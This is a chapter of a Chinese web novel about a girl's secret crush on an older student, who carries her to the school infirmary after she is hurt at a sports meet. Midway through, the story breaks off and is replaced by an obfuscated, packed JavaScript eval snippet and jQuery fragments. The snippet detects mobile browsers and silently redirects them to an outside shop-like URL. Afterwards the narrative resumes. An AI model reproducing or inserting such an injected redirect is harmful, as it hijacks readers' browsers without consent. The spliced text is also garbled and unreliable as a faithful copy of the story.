短短几秒钟,云昭想过无数种关于这件事的结局,有好的有坏的,有她期望的也有她不想发生的。
但现实的结局超乎了她的想象。
裴至峤蹲下来,和云昭平视相望,余光看见云昭膝盖上被粗糙的草坪和石子磨破的皮肤。他伸出手,云昭的视线落在他向上的掌心,而后无措的看向他。
裴至峤的意思是要扶她起来吗?
云昭不知道,她怕误解了裴至峤的意思,让她再次陷入尴尬。
“伤口不及时消毒会感染,我送你去医务室处理一下吧。”
直到裴至峤说完这句,朝云昭伸出的手还没有收回,云昭才确定裴至峤就是来扶她的。
云昭小心翼翼的搭上裴至峤的手,她不敢太用力的握,还好虞岁也在一旁扶她。
哪知刚站起,云昭又措不及防的跌回去,脚踝使不上劲,让她下意识抓住身边能抓住的一切来稳住身体,包括裴至峤。
裴至峤反应很快,刚才虚虚握着云昭的那只手瞬间抓紧,把云昭拉了回来。
云昭看到裴至峤小臂上的青筋鼓起,他的手拉她时很有力,紧紧的握着她,云昭瞬间脸红。
云昭小声的开口:“我好像有点扭到了。”
她承认,被裴至峤拉起来的那刻她是欢喜的,但以如此狼狈的姿态站在裴至峤面前,她又是失落的。
裴至峤没来得及说什么,虞岁抢先开口:“昭昭啊,那个……”停顿一瞬,像是终于找好了理由:“我还要带下个项目的同学去检录,就麻烦裴学长送昭昭去一下医务室。”
虞岁撒手就跑,还不忘回头冲云昭眨眼,使眼色提醒云昭好好珍惜机会。
云昭从不可思议中回神,再迟钝也读懂了虞岁的意思,她用一个谎言创造了一段短暂的属于云昭和裴至峤两人的相处时间。
云昭没有虞岁的坦然,推拒着这个提议:“我自己可以去医务室的,不麻烦裴学长了。”
裴至峤没接话,只问:“你还能走吗?”
云昭虽然很想要这段独处时光,但又怕这样的环境下会让她的喜欢无处遁形。暗恋这场哑剧的原则是不能被人发现,更不能被当事人发现,于是云昭努力证明自己能走,不需要裴至峤扶。
但她失败了,她又一次被裴至峤扶起。
裴至峤走到云昭前面,转身背对她,“你好像没法走了,我背你去医务室吧。”
这回连拒绝的空隙都没留给云昭,裴至峤就紧接着说:“强行走动可能会引发二次损伤,为安全起见,你快上来吧。”
裴至峤给出的诱惑太大,云昭根本无法抵挡,纤细的手臂颤抖着,搭上裴至峤的肩膀。
“麻烦裴学长了。”
她话音也带着颤抖。
云昭的运动服是短裤,裴至峤没直接触碰云昭腿部的皮肤,双手握成拳,将云昭稳稳的背起。
云昭环着裴至峤的脖颈,待在他背上没敢乱动。她感受到裴至峤的肩膀宽阔平直,手臂坚实有力。
裴至峤穿的是那套蓝白的校服短袖,一中的校服以价格高质量差在学生间出了名,云昭今天才真正感受到这套校服的质量到底多差。
单薄的布料让云昭轻易的感受到裴至峤背部的体温。
裴至峤的体温略高于云昭,根据热量传递规律,裴至峤正在向云昭传递热量。一想到这,云昭脸红得更彻底。
这是比刚才裴至峤拉她时握着她的手更亲密的举动,是他们第一次亲密的肢体接触,她甚至可以感受到裴至峤呼吸之间的颤动。
云昭想起不久前的开学典礼,他们的手臂不小心撞到一起,她短暂的感受过裴至峤的触感。她以为那时是她离裴至峤最近的一次,今天这个距离更新了。
他们之间太亲密,太超越界限,让云昭生出了更大胆的想法。
——她想这样靠在裴至峤肩上。
可惜,暗恋的贪得无厌只敢表现在想象里,云昭没靠上裴至峤的肩,没让自己的喜欢那么明显,被裴至峤发现。
轻柔的风缓缓的吹,将裴至峤衣服上的皂角香气吹进云昭的呼吸里。云昭很想知道裴至峤用的是什么牌子什么味道的洗衣液,好闻到让她魂牵梦萦。
医务室在操场外靠近书吧的地方,距离谈不上近,云昭却觉得很快就到了。
值班的校医正在处理受伤的同学,那位同学的伤情看起来比云昭严重许多,流了很多血。
裴至峤把云昭放在医务室的另一张病床上,校医暂时没空搭理他们,只告诉裴至峤抽屉里有药品,如果会处理伤口可以先自己处理,实在不会就等着他忙完来看。
碘伏、棉签、纱布以及云南白药全放在一个抽屉里,裴至峤全都拿了过来。
淮川现在天气还热,破皮的伤口须得及时消毒,等不及校医来,裴至峤用棉签蘸了碘伏,准备往云昭的伤口上涂。
“要不还是我自己来吧?”
云昭想去拿裴至峤手里的棉签,从小小姨就教过她处理伤口,她自己可以的,何况……“今天已经麻烦你很多了。”
继续麻烦他会让云昭生出更多的。
——妄念。
裴至峤笑着,却没把棉签给她:“还是我来吧,怎么能让伤者自己处理伤口呢。”
他消毒包扎的手法很娴熟,处理完膝盖上的伤后,给云昭扭伤的脚踝也喷了药,冰凉的感觉让云昭觉得舒服不少。
裴至峤放下药细心嘱咐:“不知道有没有伤到骨头,还是叫家长来接你去医院拍个片子比较好。”
云昭腻在刚才裴至峤为她处理伤口的那份温柔里醒不过来,没回答裴至峤的话,倒是痴痴的问了一句:“没想到你包扎的手法很熟练。”
裴至峤像是开玩笑的回答:“军训的时候学过急救课,可能我学得还不错。”
“对哦。”
云昭傻傻回应的样子显得特别可爱,裴至峤的浅笑虽然看起来和平时没区别,但只有他自己知道,他心里掀起了一阵怎样汹涌的浪潮。
云昭给妈妈打了电话,黎梦秋在电话那头担心得很,马上就要来学校接云昭去医院。裴至峤帮云昭填了医务室的病假单,准备一会儿回去时帮云昭交给班主任。
黎梦秋来学校需要一些时间,云昭在医务室等,裴至峤也在这里陪她等。云昭有点不明白此刻的裴至峤,普通同学将她送来医务室已经够义气了,裴至峤却还陪她等家长。
裴至峤笑着解释:“既然答应把你送来,就要看着你被人接走才放心,反正我现在也没什么事。”
好事做到底,送佛送到西,裴至峤一贯是如此周到的人,他让云昭不要有心理负担。
原来他对所有人这样吗,云昭刚刚还以为,裴至峤对她是有那么一点特别的。
尽管云昭是芸芸众生中普通的一个,但裴至峤此刻就待在她身边。他们并肩坐在病床的边沿,窗外依旧是运动会振聋发聩的欢呼声,医务室却很
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241914|197773||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
宁静,静到可以听见自己心跳的声音。
或许是刚才的药起了作用,云昭觉得自己已经感受不到腿上的伤痛,面对裴至峤,她只体会到一种小鹿乱撞的情绪。
云昭用余光去看裴至峤的侧脸,下午的阳光把裴至峤的轮廓照得很清晰,相比前几次的远距离或黑暗中,云昭更清楚的看到了他脸上的细节。
裴至峤的左眼眼尾有颗很淡的小痣,不仔细根本无法发觉。
云昭觉得这颗痣长得很好,让裴至峤温润的底色里藏着一份忧伤的气息,让他气质更丰盈、更厚重。
裴至峤忽然转头,云昭有种偷看被发现的心虚,迅速转回了目光,直直的盯着地板。
“对了,刚才那篇……”
裴至峤刚起了话头,准备打破这份因过度安静而显得尴尬和沉闷的氛围,声音就被生生止住,一声大喊传进耳朵。
“裴至峤,老师叫你过去。”
刚才八百米项目的成绩表交上去,准备给冠亚季军颁奖,同学来让裴至峤再去核对一遍成绩。
“学长,你先回去吧,我妈妈很快就到了。”
云昭不想耽误裴至峤的正事,在裴至峤给出回答前先说了话。
裴至峤没起身,转头瞧了云昭一眼,眸中有很细微的情绪波动,云昭没看懂是什么。
僵持的短暂间隙里,医务室又来了一个人。
关栩宁生理期肚子疼,来医务室拿止痛药。校医还在忙,随手指了个柜子,让她自己找。
裴至峤这才起身,说:“那我先回去了,你在这儿不要乱动,免得让扭伤更严重。”
离开前,裴至峤又细心交代了一遍,顺便带走了那张填好的病假单。他并没直接走出医务室,而是到关栩宁身边,和她说了几句话。
距离有点远,云昭没听清他们说的是什么。但云昭知道,裴至峤和关栩宁认识,甚至还挺熟,他们之间说几句话没什么好奇怪。
云昭只是没忍住往他们的方向看了很多次而已。
过了两分钟,裴至峤已经回到操场去了,关栩宁找到止痛药后来到云昭身边。
“裴至峤让我过来陪你一会儿,等你妈妈来接你。”
云昭还没说话,关栩宁率先开口。
云昭震惊的看着关栩宁,似是没想到裴至峤刚才跟关栩宁说的是这个。
关栩宁反问:“不然还能说什么。”
关栩宁借医务室的纸杯吃完药,和云昭坐在一起:“裴至峤说你脚扭伤了,不能走动。如果有什么需要的话可以告诉我。”
想到裴至峤和关栩宁的谈话是为了她,云昭脸上挂着甜笑,“我没什么需要的,谢谢你关栩宁。”
“不用谢我,我只是还裴至峤的人情。”
关栩宁的确欠裴至峤一个大人情,云昭也知道。
云昭脸上的笑久久没散,她的开心太明显,连关栩宁也能看出些端倪。
关栩宁不擅长委婉,她既看出了,就问得很直白:“你是不是喜欢裴至峤?”
云昭被突如其来的直白问懵,两只手交缠在一起不停摩挲,双眼瞪大,眼里的情绪更清楚。
没有回答也是一种回答,云昭的反应就证明了,她的确喜欢裴至峤,关栩宁是除云昭自己和虞岁外唯一一个知道这件事的人。
云昭问关栩宁:“你难道从没有一刻对裴至峤心动过吗?”
说起来,云昭喜欢裴至峤这件事,和关栩宁有关。